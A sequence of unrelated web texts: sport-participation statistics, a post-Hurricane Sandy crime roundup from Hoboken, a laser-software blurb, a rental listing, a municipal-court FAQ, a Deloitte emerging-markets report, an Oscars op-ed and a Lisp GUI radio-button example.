by those who participated on an occasional basis was insufficient time due to work or study (38%). This was followed by injury or illness (13%) and 'not interested' (12%). Sex Similar proportions of males and females reported age/too old, injury or illness, and 'not interested' as the main reason for not participating (all about 19%). More males (27%) than females (18%) reported insufficient time due to work or study as the main reason for occasional participation or non-participation in sports and physical recreation activities. In comparison, more than twice the number of females than males (435,400 or 14% and 171,200 or 5% respectively) indicated insufficient time due to family as the main reason for occasional participation or non-participation. Non-Participants and occasional participants, Sports and physical recreation - By main constraints and sex Age Participation declined with increasing age with the rate declining from a high of around 75% for persons aged 15-17 years and 25-34 years to 49% for those aged 65 years and over. For those aged 55-64 years, injury or illness (29%) was the most commonly reported reason for non-participation, followed by age/too old (20%). Age/too old (56%) replaced injury or illness (24%) as the main reason reported for those aged 65 years and over. For the rest of the population (those aged 15-54 years), the most common reason reported was insufficient time due to work or study. This reason was prevalent for persons aged 18-24 years (40%) and decreased for persons aged 25-34 years and 35-44 years (both 31%) and persons aged 45-54 years (27%). Employment status Almost three in four employed people participated in sports and physical recreation (72%) compared to those who were unemployed (66%) or not in the labour force (55%). Sixty-eight percent of employed persons also participated occasionally in sports and physical recreation while 51% of employed persons did not participate at all. Employed non-participants and occasional participants were more likely to report insufficient time due to work or study as a reason (37%) which was almost double the proportion who indicated 'not interested' (20%) as the main reason. Other main reasons associated with this demographic included insufficient time due to family (10%), injury or illness (9%) and age/too old (7%). For those who were unemployed, 'not interested' was the most common reason for non-participation (38%), followed by injury or illness (18%), insufficient time due to work or study (14%) and insufficient time due to family (11%). Age/too old and injury or illness (both 31%) were the reasons most commonly reported by those not in the labour force. References ABS (Australian Bureau of Statistics) 2007a, Participation in Sports and Physical Recreation, cat. no. 4177.0, ABS, Canberra. ABS 2007b, Motivators and Constraints to Participation in Sports and Physical Recreation, accessed 27 March, 2008, <http://www.ausport.gov.au/information/scors/other_related_reports>. Document Selection These documents will be presented in a new window. |


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When the power's down, so are burglar alarms. Several crimes occurred in the aftermath of Hurricane Sandy, including two men who explained to police they had allegedly broken into a grocery store because they were hungry.
Some information wasn't available when police officials were contacted by the Reporter last week. Here is a roundup of a few incidents.
Desperate for food
A Hoboken police spokesman said on Friday that in the days after the hurricane, police caught a 23-year-old man and a 25-year-old man allegedly attempting to burglarize a food store on Madison Street. The police report said that the two men told police they were forced to do so because they had no power at home, no food stores were open, and they were hungry.
Police also said that Radio Shack on Washington Street was burglarized, with a 24-inch TV and four to five electronic tablets stolen.
In addition, a convenience store on central Washington Street was burglarized. Cigarettes and scratch-off lottery tickets were taken, police said.
Pharmacy looted
Willow Pharmacy, 900 Willow Ave. in Hoboken, was burglarized during Hurricane Sandy, the owner confirmed last week. Looters broke in through the front window and made off with what owner Frank Lavinio described as "expensive drugs."
Lavinio explained that the thief did not get a hold of any "controls" (like Percocet) or any other drugs with street value.
"Those drugs are locked up in a safe," said Lavinio. "But there is a grey market so they might be selling to other types of pharmacies. What they targeted were the expensive drugs, so whoever did this knew what they were doing."
The store is open for business. "We're doin' okay," Lavinio said Thursday.
The investigation is ongoing. Lavinio said the store is working to replenish what was stolen.
Carjacking at gas station?
A Hoboken woman posted in an internet newsgroup for local moms about an attempted carjacking earlier this week near the Holland Tunnel. She then followed up with the Reporter on Friday and said that to her knowledge, the perpetrator had not been captured.
"Be careful if you go to the gas stations by the Holland Tunnel," she wrote. "I went there yesterday and almost got car jacked! The guy (in a ski mask) actually went into my car and trying to steal my car…WHILE THE GAS WAS STILL PUMPING! Then he tried to take my purse. I fought him off so I didn't lose anything and the baby wasn't with me. We had PA police, Jersey City police and Hoboken police on the scene afterwards. They were saying carjacking has been crazy…they had about four to five reports in the past two weeks."
She added, "So please….when you're getting gas, please make sure all the doors are locked and only open a small sliver of your window to transact with the attendant. If you must get out of your car to pump your gas…..take the keys and lock the car and don't leave your purses or valuables in sight. Oh and … all the pumps had cars but NO ONE came to help while I was struggling with the carjacker….and the attendant told the police that he saw nothing even though he was right next to me when I saw the guy in my car!"
When contacted, the Jersey City police said that they were not immediately able to check and confirm the details of that or any other storm-related crimes, due to power outages and other issues.
In a followup, the woman told the Reporter, "They did say that in the last two weeks, there were at least four carjacks reported from the gas stations by the tunnels and they're taking all cars, luxury cars to sell overseas and economy cars for parts (especially a lot of cars need new parts now)."
Gas fights
Officials in several towns said all was quiet regarding crime, except for a few fights over gas.
According to Mayor Felix Roque, he heard about a few heated arguments in his town, resulting from the gas shortage. He said no arrests were made in relation to those incidents, and there were no other major crimes to his knowledge.
"A good police presence deterred any crimes, I think," he said. "I had counted on that there would be, so the police were out in force, but nothing like that occurred."
According to Jeff Welz, Weehawken's director of public safety and emergency management coordinator, no looting has taken place in Weehawken. Welz emphatically added that not one crime had been committed in the week since the storm.
Welz added that throughout the week, the Weehawken Police Department nearly tripled the number of on-duty officers and personnel.
In Union City, Chief of Police Brian Barrett expressed similar sentiments, citing a general dip in all areas of crime, not only robberies and burglaries.
"I don't think we have that type of breakdown in Union City," Barrett said. "Our people have a strong connection to the town and its elected officials, so I'm not surprised that no one did anything like that."
Secaucus experienced flooding but got power restored quickly. Mayor Michael Gonnelli said he didn't know of any storm-related crimes.
"Not in paradise," he said.
Do you know of storm-related crimes? E-mail any news tips to firstname.lastname@example.com.


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LASCADDuring the last 15 years LASCAD has become an industry-leading software package for LASer Cavity Analysis and Design. The feedback from a large community of users has helped us gather experience for optimizing laser resonator design.
For this purpose LASCAD provides a unique combination of simulation tools:
Integration of these modules into one program package makes LASCAD a
versatile instrument to model laser cavities, and to solve the problems laser
engineers are confronted with. LASCAD especially provides the following computational capabilities:
Based on a quantitave model of the multiphysics effects in laser
cavities, LASCAD allows the laser engineer to control and compensate individual features of a resonator design prior to committing hardware.


text: The property offers 4 bedrooms/ 3 baths. It is very comfortable and tastfully furnished. The Briarwood-Venetian floor plan offers space for up to 8 people. The 30' x 13' pool can be solar and/ or electrical heated. The extended pool area offers a gorgeous view over a lake. The screened pool area has a southern orientation and of course there is plenty of outside furniture. We also add a gas BBQ for your convenience. A very beautiful landscaping completes the picture. The kitchen is fully equipped. A laundry with a washer and a dryer is next to it. Beddings: - 1 king-size bed in the master bedroom - 1 king-size bed in the 2nd bedroom - 1 queen-size beds in the 3rd bedroom - 2 twins in the 4th bedroom - dining table seats 8 - 2nd dining table seats 4 (nook) - 5 TVs - 1 VCR - 2 DVD players - 1 stereo system - fans in each bedroom - 1 BBQ grill - outside furniture Electricity for pool heating at extra charge. The Community: Briarwood is a quiet gated community, only 15 minutes from the beautiful beaches and from downtown Naples. Amenities are: - recreation center - club house - community pool - tennis courts


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Create a Website Account - Manage notification subscriptions, save form progress and more.
Some citations may be paid without appearing in Court. You must, however, pay the citation on orbefore your court date. Please refer tothe back of your citation regarding if your citation is a payablecitation. If the citation is not paid onor before your court date and you do not appear in court, a warrant for yourarrest may be issued.
If your citation states "COURT" in the Total Due portion of your citation, this meansthat it is not a payable citation and you must appear in court
Show All Answers
No Contest: You have the option to plea no contest to the City's charge. Upon a plea of no contest, the Judge will enter a finding of guilty and order a fine, jail time or other sentence. A plea of no contest is not an admission of guilt or fault and cannot be used against you in a civil suit for damages.
To appeal, the defendant must post an appearance bond in an amount determined by the Municipal Judge, file proper notice with a municipal court clerk, serve notice on the City Prosecutor and appear in Butler County District Court, El Dorado, Kansas.
These requirements are subject to a specific time limit which must be complied with by the defendant.
You can pay your fine or fee in person by going to the Municipal Court located in City Hall at 1609 E Central during business hours or you may pay online by clicking the following link: www.andoverks.com/onlinepayments
You will need to have your citation number. Payment types accepted are: cash, check, debit/credit card. Please note, if you use a debit/credit card there will be a processing fee of 3%
Cash, check, money order, cashier check and debit/creditcards. (Please note if using a credit ordebit card a 3% convenience charge will be added for each transaction).
Yes. It is located at the front doors of City Hall, (where Municipal Court is housed) at 1609 E Central
No one may wear clothing that is offensive, obscene, vulgar, racist or sexist, or contains gang related language or graphics.
No hats, unless for religious purposes.
No sunglasses unless under Doctor's care.
Shoes are required.
Electronic devices must be on silent in the courtroom.
Food and Drinking are not allowed in the courtroom.
Drivers Solutions, P. O. Box 12021, Topeka, KS 66601. Phone number: 785 – 296 - 3671
You may go to www.ksrevenue.orgto check on the status of your driver's license online. Click on "Driver's License Status Check" onthe right side of the screen. You willneed your driver's license to access the system. Enter your name and date of birth as itappears on your driver's license.


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Another billion has been saved
Given economic and demographic change, global demand is shifting toward emerging markets. Reaching and serving "another billion" consumers may require companies to reach beyond existing strategies.
Create and download a custom PDF of the Business Trends 2014 report.
Two decades of rising prosperity have reshaped and reoriented the global economy, but the effects have been remarkably uneven. The rising tide has created a new class of extremely wealthy individuals across the world, and vast numbers have been brought out of extreme poverty, yet the relative incomes of many in the affluent advanced economies have stagnated, and elsewhere far too many still languish in the direst imaginable circumstances. But perhaps the most surprising story has been the steadily growing wealth of huge numbers of previously very low-income consumers in Asia, Latin America, and Africa.1
This is a trend that will continue and grow in importance. It is projected that by 2020 3.2 billion people will be "middle class," up from 1.8 billion in 2009.2 Almost none of this growth will come from advanced economies; instead, the increase will happen in Asia, Africa, and Latin America.3 As a rough (and prudent) estimate, a billion new people will be critical in shaping global demand over the next five years or so.4
Welcome to the "next billion"—and a huge chance to serve a vast new set of consumers. Will they have the discretionary spending power of traditional middle-class customers in advanced economies? No—they are poorer, less familiar, live in different conditions, and need somewhat different products and services. But they will provide the single biggest growth opportunity in many global companies' portfolios.
As businesses turn their attention to the next billion, they're finding that the past strategies of reducing costs and then exporting affordable, scaled-down versions of successful products or services may not suffice. But they also know that customizing for every local market is both impractical and expensive. New approaches and new ways of thinking—about categories, cultures, and commonalities—are needed. Serving the next billion is a tantalizing prospect, but reaching them profitably is anything but straightforward.
In 2013, the United Nations Development Programme called its annual report on human progress The Rise of the South. It reported: "The South is developing at a pace unprecedented in human history, with hundreds of millions of people being lifted out of poverty in developing nations and billions more poised to join a new global middle class."5
The Organisation for Economic Co-operation and Development (OECD) concurs that a massive shift is underway. In a 2010 report, it looked at household-level data in 145 countries and found that Asia accounted for less than a quarter of the global middle class in 2010. Its projections, however, have that share doubling within a decade—which will mean that by 2020 the majority of the world's middle class will be Asian.6 The report's author, Homi Kharas, explains: "This is because a large mass of Asian households have incomes today that position them just below the global middle class threshold and so increasingly large numbers of Asians are expected to become middle class in the next ten years."7
This is a remarkable story of economics and demography. Between 2000 and 2013, the real GDP of non-OECD countries grew by an average annual rate of 6.5 percent. In contrast, the advanced nations of the OECD saw real GDP growth average around 2 percent per year.8 At the same time, the ineluctable momentum of demography guarantees that the young and growing populations of emerging markets will be the dominant drivers of demand growth. Between now and 2025, a billion more people will be born, almost all in emerging markets.9
High urbanization rates are also contributing to the emergence of the next billion. Urban populations are more prosperous than rural ones (for example, 80 percent of Africa's total GDP emanates from urban centers, yet currently only 30 percent of the population lives in towns and cities).10 As emerging-market urbanization continues over the decades ahead, wealth and consumption will inevitably grow.
With the emergence of the next billion, however, the playing field will increasingly shift from the largest and most attractive markets (rich megacities such as Shanghai and Mumbai) where doing business and getting to scale are—relatively speaking—much easier. Now, companies will also need to compete in smaller cities, towns, and rural areas where the absolute numbers of emerging middle-class consumers may not justify the degree of localization and investment made to date. This will require new approaches.
When Deloitte surveyed developed-market executives of global firms in 2013, the most common strategies reported that were related to operating in emerging markets extensively were employing local vendors, conducting market research locally, and transferring managers to local markets (figure 1).11 Emerging-market executives reported that the most common strategies used extensively when operating in emerging markets were forming joint ventures with local companies, conducting R&D locally, developing customized strategies for specific cities, and employing local vendors (figure 1).12 As companies build on these steps, our research and client experience suggest four more actions they should consider. All involve reframing the challenges of emerging markets, and rethinking how to address them.
The first major implication of a new market opportunity as large as the next billion is that many firms will need to relearn—or learn for the first time—how to compete in unfamiliar emergent categories. Of course, new categories of goods are born every year (from smartphones and e-readers to single-serve coffee brewers and jeggings), and the science of management is growing ever more sophisticated with regard to the dynamics involved as products move from their introductory stages to maturity. But since most of the needs and desires of the next billion relate to categories that are mature in the developed world, Western managers sometimes assume that emerging markets need little in the way of product development or nuanced pricing. They take a Western brand and make slight variations so that it will appeal to those consumers who most resemble middle-class buyers at home. They too often regard emerging-market consumers as merely the latest of "late adopters" in categories that have largely played out.
In contrast, look at how Nestlé is growing its business in Central and West Africa. First, it innovated with the needs of these new consumers specifically in mind: Its Maggi-brand bouillon and other seasonings are fortified with the very micronutrients—iron, vitamin A, iodine, and zinc—that are deficient in the diets of over a third of people in developing countries.12 Then it created a "Cooking Caravan" program that traveled throughout Cameroon, Côte d'Ivoire, and Nigeria, raising awareness of the importance of balanced diets, micronutrients, and culinary hygiene.13 This is classic early-stage category marketing, geared to educate and mobilize an underserved consumer base.
To achieve real leadership in markets relevant to the next billion, companies will often have to invest materially in such category development. And many will learn that there is a world of difference between market entry (competing in an existing category that consumers understand and are familiar with) and market development (competing in a nascent category that consumers have limited understanding of and experience with). Creating demand will often require moving further upstream in consumers' buying processes—for example, "influencing influencers" such as local doctors and respected members of traditional communities.
How can a company gain the benefits of consistency in global segmentation without the hazards of a one-size-fits-all approach?
Strategies will need to be informed by a rigorous understanding of how increasing wealth shapes consumer behavior and drives category growth. For most categories, there are reasonably reliable empirical relationships that predict when adoption and significant growth will occur in a market's socioeconomic development. Leading companies are rethinking how best to manage their category adoption curves. For example, Sony has recently announced its plans for a distinct pricing and portfolio approach in tier II and tier III cities in India. It plans to introduce small-screen Bravia televisions priced starting from 15,000 Indian rupees to tap demand in these smaller cities and towns across the country, while relying on sales of high-end products in tier I markets to support its margins.14
This strategy of "volume from the bottom, value from the top" will certainly become more common, but executing it will require much deeper consumer understanding, as well much more precise timing and execution, than most companies have yet shown. Managers should study which economic and demographic factors determine the adoption curves and tipping points for their categories. In particular, they will have to manage the tricky trade-off between prices and volumes, so that they do not forestall category growth by taking price increases too early, or miss value-creation opportunities by introducing new offers or stock-keeping units too late.
Corporations understand the value of segmentation—grouping their prospective customers into categories according to common needs and how they respond to marketing actions. They also know the power of standardizing what they do to leverage their scale. Many, therefore, have attempted to use the segmentations developed in their home markets to think about consumers, opportunities, and go-to-market strategies globally. The segmentations usually don't travel well, as the Africa division of a consumer packaged goods company discovered. The categories rolled out by the global market development team covered only a small part—in Kenya, for example, just 10 percent—of what this division knew to be its addressable consumer base.15
How can a company gain the benefits of consistency in global segmentation without the hazards of a one-size-fits-all approach? Some marketing leaders are rethinking their segmentations to encompass a wider span of consumer types, and to recognize commonalities that exist across many developing economies. For example, in markets that are rapidly urbanizing, the "young adult who moves from a small village to the big city" is common enough, and strategically important enough, to be called a segment. Whether they are moving to Nairobi or Bangalore (also known as Bengaluru), the people in this segment share a set of behaviors and beliefs that affect what and how they buy. At the same time, companies are allowing more flexibility through a more modular approach that allows for the creation of "made to assemble" segmentations chosen from a set of predetermined segments that are relevant, to varying degrees, in different types of markets.
While companies must look for commonalities across geographies, they should be careful not to assume them within any given region. The next billion consumers often live in territories woven of many cultural threads. Their heterogeneity will require companies to look beyond surface-level commonalities, such as language and income levels, to find the deeper drivers of consumer behaviors. Recognizing variety at this level can help companies make choices about the attractiveness of different consumer groups, and about how to market and sell to them.
Cultural factors exert a huge influence on how consumers perceive and use brands, and on which types of marketing messages are more likely to work with them. For example, the perception and role of luxury brands is very different depending on whether or not people implicitly accept large imbalances in political and economic power. For one group, the brands serve as especially strong signifiers of status; for the other, they are investments in enduring quality.16 In fact, even when companies market their brands with great discipline and consistency globally, consumers from different cultures still interpret these brands differently (as shown by a study of Red Bull in 2008—the result has been replicated many times before and since).17
Cultural factors have been shown to influence everything from adoption rates for new products to the types of marketing messages that will resonate with consumers. By understanding how cultural factors drive consumer behavior for their categories, companies can choose their markets more strategically, and can develop a handful of tailored marketing approaches that will appeal to consumers with similar cultural drivers, even when they are from markets that appear to be very different.
As we've outlined, greater commonalities often exist across borders than within them. What is required to win in Lagos is much more similar to what is required to win in Mumbai than, say, Kaduna. Yet organizational structures will (likely) have to reflect national and regional lines because of differing tax and regulatory regimes. Smart companies will find organizational solutions that allow them to transcend the barriers and capitalize on cross-border commonalities.
For many large companies, this is very hard to do. At best they transfer personnel who have cut their teeth in one emerging market to another that is at an earlier stage of economic development. The logic is that, for example, "Africa is like Latin America was 10 years ago," so the people who experienced the earlier change are well equipped to navigate the newer one. More companies are at the stage where they are simply trying to create a management cadre that isn't purely Western. Reckitt Benckiser, for example, moved the leadership of its Latin America operations from Miami to Sao Paulo. The senior vice president for Latin America said the company was "staffing up people in the developing markets and moving much more talent from the developed to the developing geographies."18
As companies gain more experience in emerging markets, expect to see them do more with the structure of the organization to improve knowledge transfer and coordination across regions. For example, they will establish reporting matrices and virtual centers of excellence consisting of teams with expertise in specific types of submarkets. Best-in-class companies will increasingly have cross-national teams with expertise in how to understand and address specific types of markets, consumers, and cultures.
Competitive advantage will accrue to companies that first group and categorize submarkets with similar economic, demographic, and cultural characteristics and then develop ways to reliably execute in those kinds of submarkets, regardless of which national borders they happen to sit in.
Economic growth almost never follows a straight-line projection. Emerging economies can suffer periods of slowdown and possible stagnation. But overall we can expect to see continued and sizable growth in emerging-market consumption—with a billion new consumers emerging from the "base of the pyramid" to enter the middle class, and steadily gaining purchasing power.19
Some global firms will be able find the commonalities that let them strike the right balance between standardization and localization. These companies will reap the rewards of this unprecedented growth. And then the companies that have distinguished themselves in this era will be better positioned to meet the demands of the next wave of growth. They will find that the strengths they forged in this decade—the 2010s—can serve them for many years to come, and allow them to profit from the next next billion consumers that will be brought along by the continued growth of emerging markets.
By Kishore Mahbubani, dean and professor of public policy of the Lee Kuan Yew School of Public Policy at the National University of Singapore
The rise of the middle class in the developing world has been well documented in recent years, but the explosive growth that we are about to see in many Asian societies is truly unprecedented. The implications of this extreme growth on business, politics, and the environment continue to be a topic of heated debate, but what is clear and undeniable is that a significant and irreversible shift is occurring within the global economy.
As Asia and much of the developing world drive forward into a new age of growth and prosperity, the different cultural classes of the West have acknowledged and accepted these changes to varying degrees.
Business leaders from the West have for the most part recognized the importance of the Asian middle class for their future growth, although even some of the best managers continue to have strategies for Asia that are relatively pale reworkings of strategies they have deployed elsewhere. Still, they show promising signs of adjusting plans to accommodate this new global demographic.
Governments have also begun to understand the significance of this global shift, but have lagged in changing their perspectives and policies. Other groups, including the intellectuals and the media, appear to be slower in acknowledging the shift, although they too seem to be waking up to the international implications of the growth in the developing world.
What can we expect out of this new and powerful middle class? In the rise of the previous middle class, we saw a boom in the consumption of Western goods. In an effort to display their newfound wealth, consumers became avid customers of Western products. Expensive red wines and Louis Vuitton handbags became quite common. However, I expect these preferences to change quite dramatically with the emergence of the next wave of middle-class consumers. Rather than blindly purchasing Western goods, I see these new, more sophisticated Asian consumers looking for products that they can more closely identify with. They will begin to purchase products that not only meet their needs but also reflect their own cultural values and identities. Western businesses have begun to take note, but they will need to make significant investments to update their knowledge and understanding of Asian cultures, in order to ensure they are creating products that meet the needs of the new middle class.
At the National University of Singapore, where I am the dean of the Lee Kuan Yew School of Public Policy, we publish a quarterly magazine, Global-Is-Asian. Those who understand this idea will be the ones who lead us into a radically different world, while those who do not will be playing catch-up for years to come.
The expanding consuming classes of emerging economies have been an exciting area of growth for marketers. Thanks to economic and demographic growth, the global consumer demand has shifted dramatically toward emerging markets—and that shift will continue.
But capitalizing on the next billion consumers may require companies to reach beyond their past strategies of reducing costs and then exporting affordable, scaled-down versions of successful products or services—yet customizing for every local market is both impractical and expensive. To succeed, companies should look for and find commonalities and patterns across markets and consumers. Finding such commonalities will allow them to gain the economies of learning and scope necessary to capture the "next billion" opportunity at an acceptable cost and level of investment.
Successfully reaching the next billion should require investments in new capabilities. But the opportunity is too great, and the longevity of the rewards for success too enduring, for many companies to ignore.


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I always watch the Oscars. As a devotee of the movies, I like to guess the winners, see the awards given out, hear the acceptance speeches, see what kind of politics are in play. I also like the women. I like to see what they are wearing, their hair, the jewelry, the whole girly thing. It's a sensory experience for me, the Oscars.
When I watched on Sunday, I was eager to see how a new host would change it up. I admit, I have a fondness for Billy Crystal – he's always funny, he does great opening bits. I've liked some other hosts — Ellen, Steve Martin, two of Whoopi's four stints. I didn't like Letterman. I wanted to like Hugh Jackman, but couldn't, and truly hated James Franco and Anne Hathaway.
I like Seth MacFarlane as a comedian and as a political animal. I like that he's very strong politically on the issues of domestic violence and marriage equality. That's not the standard for straight white guys, so when one who is in the public eye as much as MacFarlane speaks out on those topics, I take notice. I thought choosing him to play host was an edgy one for the stodgy Academy, but his humor is definitely geared to the demographic the Academy has been desperate to reach: the under-40 set.
When the ratings came in, it was clear they'd made the right choice: Ratings were the highest in years and there was a 20% bump in the key demographic. Go Seth!
But another demographic was unhappy. Not just unhappy, but angry. A close friend sent me a blistering New Yorker column by Amy Davidson referring to MacFarlane's "ugly, sexist, racist Oscars."
Whoa! Did she see the same Oscars I did? Because the presentation I saw was a veritable paean to women. Women were showcased in a way I can't recall men having been. What's more, gay men were showcased too and it's long been de rigeur in Hollywood to pretend there really aren't queers in Tinsel Town. Admit it — seeing the Gay Men's Chorus of Los Angeles on the Oscar stage was pretty fabulous. MacFarlane did what good awards hosts do — he ripped the status quo a new one. He dissed Mel Gibson's anti-Semitism and when the audience had an "Oh no!" response, he said, "Oh, you're on his side?" Right back at ya!
The awards were slated as a tribute to music in the movies, which led to a series of song-and-dance routines to open, including a satirical parody sung by MacFarlane called, "I Saw Your Boobs." The song referenced what many Oscar-winning actresses are forced to do for the movies: show their breasts, regardless of the circumstances of their roles. Among the actresses mentioned were Jodie Foster in The Accused and Hilary Swank in Boys Don't Cry, two films in which the characters are brutally raped.
Even though the women shown during the song were in on the joke (their reaction shots were obviously pre-recorded) this song became the focal point of the day-after attacks on MacFarlane. Missing, we thought, the entire point of the song: that in Hollywood, women — even when playing victims of violent crime — are reduced to the sum of their body parts, not the sum of their movie parts. But a man singing about "boobs" just had to be bad and sexist and wrong. There couldn't have been a satirical point being made.
There was also the joke MacFarlane made about George Clooney, one of many Hollywood men regularly dating much younger women. Clooney is 51 and his current girlfriend, Stacy Kiebler, is 31. MacFarlane joked that the youngest nominee for Best Actress, Quvenzhane Wallis, who is 9, had another 16 years before she'd be too old for Clooney. In Davidson's and others' transliteration of what MacFarlane actually said (which is why I thought perhaps they'd just heard about the Oscars and not actually watched them), the backlash alleged that MacFarlane dissed a 9-year-old when in fact he'd taken on a Hollywood full of first wives dumped for younger models of their former selves by addressing its most eligible and oldest perennial bachelor.
The night went on like this in the feminist revision. MacFarlane referenced the beauty of many of the women — all of whom had spent days and even weeks preparing their "look" for the presentation. The tabloid TV shows have been full of the cleansing, the diets, the workouts, the not-eating, the facials, the mani-pedis, the hair extensions, the Botoxing, the being sewn into dresses, the taping up of breasts, the cinching in of waists and derrieres. It's been a main topic of entertainment discourse for weeks leading up to the awards: women's bodies, women's looks.
Is MacFarlane the villain for calling out the reality or are Hollywood — and American audiences — at fault for demanding physical perfection from female actors while men can look however they want?
The fabulous Dame Shirley Bassey, 76, was magnificent as she performed her signature Bond song, "Goldfinger," yet has had obvious plastic surgery. But Jack Nicholson, 75, the godfather of Hollywood, was sitting in his prime Academy seat, jowls and wrinkles and wattles on wanton display. And after the ceremony Nicholson was filmed hitting on 22-year-old Best Actress winner Jennifer Lawrence, while she was being interviewed by ABC anchor George Stephanopoulos. How outraged would people have been if Bassey had been hitting on Daniel Radcliffe, 23, whereas Lawrence literally putting her head in her hands and whispering to Stephanopoulos, "Is he still there?" was just "cute."
And speaking of Nicholson, one of the references made in the feminist blogosphere was to Roman Polanski having raped a girl at Jack Nicholson's house — as if both Nicholson, who was out of town when the crime occurred, and MacFarlane, who was 3-years-old at the time of the 1977 rape, were active participants. (And as if Jodie Foster herself hadn't starred in Polanski's film Carnage last year. It's not like many of Hollywood's female elite haven't just shrugged off Polanski's crime.)
MacFarlane's reference to Chris Brown and Rihanna's abusive relationship was also called out as anti-woman. Yet numerous feminist bloggers and columnists, myself included, have written repeatedly about Brown and Rihanna and their relationship. In a recent interview, Rihanna told Oprah that she is in love with Brown and doesn't want to discuss the domestic violence. And at Brown's most recent court appearance for punching out singer Frank Ocean, Rihanna was there to support Brown. In addition to which, Brown has still been embraced by Hollywood and the music community. Despite his abuse of women (ABC anchor Robin Roberts was another of his victims) and gay men. Which was kind of MacFarlane's point.
The reality is, MacFarlane got slammed for every misogynist in Hollywood as well as every man – and woman – who has held unrealistic expectations of female stars while male stars have been allowed a vast range of appearance and un-Botoxed expression. Women have to show their breasts to get noticed regardless of the circumstance of their roles while male frontal nudity is almost wholly banned from the movies. Breasts only get a PG-13 rating while penises get the box office death of an NC 17.
I live-tweeted the Oscars and repeatedly stated "Best Oscars Ever!" in those tweets. I still think this was among the best Oscars' presentations and a major reason was the imprint of women on the ceremony. I liked seeing over-sized women like Melissa McCarthy, Adele, Octavia Spencer and Queen Latifah among the participants. I liked seeing the elderly Emmanuelle Riva and Shirley Bassey as well as Oscars' many vibrant older women, like Meryl Streep, Sally Field and Barbra Streisand.
I loved seeing Brave win for Best Animated Feature, because it's a story about a girl who succeeds on the basis of her own merit – and bravery – and has nothing to do with a prince swooping in to save her. I loved seeing Inocente win for Best Documentary Short: the subject is a 15-year-old homeless girl artist in California. I loved seeing Daniel Day-Lewis laud Meryl Streep for her superb acting skills and Jennifer Lawrence thank all the women who are such magnificent actors — and her mentors — after she won for playing a real woman with real problems.
I also loved seeing the tributes to music in film which lauded both women performers and the gay male directors, like Bill Condon (Chicago, Dreamgirls), who made these vehicles work.
It's not that women don't have a lot to complain about with regard to Hollywood: it took 81 Oscar ceremonies before a woman won Best Director (Kathryn Bigelow, for The Hurt Locker), even though it was largely women directing and doing the very complex film editing throughout the early days of Hollywood. But for nearly 50 more years there were few women directing for major Hollywood films and there have only been four women ever nominated for Best Director: Lina Wertmuller, Jane Campion, Sofia Coppola, and Kathryn Bigelow. Eight other films directed by women have been nominated for Best Picture, but without their directors being nominated, including Children of a Lesser God, Prince of Tides, Little Miss Sunshine, The Kids Are All Right, and Awakenings, which all won other major awards.
In addition, the unrealistic images of women that are promoted by the film industry are what have allowed film critics like Rex Reed to call actresses like Melissa McCarthy "hippos."
So I get why some women were angry with MacFarlane, even though he wasn't the author of most of the jokes. (Bruce Vilanch, a gay man, has been the head writer for the Oscars since 1989 and has won several Emmys for his writing.) MacFarlane was the messenger and the message from Hollywood isn't always a good one for women. Yet as Vilanch said in an interview with Salon, the show is scripted, every presenter has to sign off on whatever it is they say on-stage in advance of the ceremony so it can go up on the teleprompter. Women as well as men. The only impromptu moments are the speeches of the winners.
But in real life, outside of his Oscar hosting activities, MacFarlane has been a staunch supporter of women's and LGBT rights and donated more than a quarter of a million dollars to the Democratic Party in support of liberal causes. In 2011, he was awarded the Humanist of the Year Award by Harvard University for "his extensive body of work, his active, passionate commitment to Humanist values, and his fearless support of equal marriage rights and other social justice issues."
MacFarlane isn't a Mel Gibson–Holocaust denier, racist, wife-beater. He's one of the good guys. Were some of the jokes tasteless? Yes. Did MacFarlane repeat them anyway, even though he occasionally said throughout the telecast, "I thought we decided not to do that one." Sure. But most of these jokes have been done on late night TV and nearly every day Huffington Post has another "actress reveals side-boob" video. This morning, after the Oscars, one of the lead pieces on Huffington Post was about Anne Hathaway's nipples showing in her gown (which were actually just sewn-in darts, for the record) and Jennifer Lawrence showing "side boob."
Maybe MacFarlane was just a messenger. And the message actually is coming from us. No wonder we're upset.
VICTORIA A. BROWNWORTH is an award-winning journalist and a former Advocate columnist. Her columns appear in the Philadelphia Chronicle, the San Francisco Bay Area Reporter, and Curve magazine, among others.


text:
Radio buttons can be created explicitly although they are usually part of a button panel as described in Choices. The
keyword is used to specify whether or not the button is selected, and the
keyword can be used to label the button.
(contain (make-instance 'radio-button
:text "Radio Button"
:selected t))
Figure 4.7 An explicitly created radio button
Although a single radio button is of limited use, having an explicit radio button class gives you greater flexibility, since associated radio buttons need not be physically grouped together. Generally, the easiest way of creating a group of radio buttons is by using a button panel, but doing so means that they will be geometrically, as well as semantically, connected.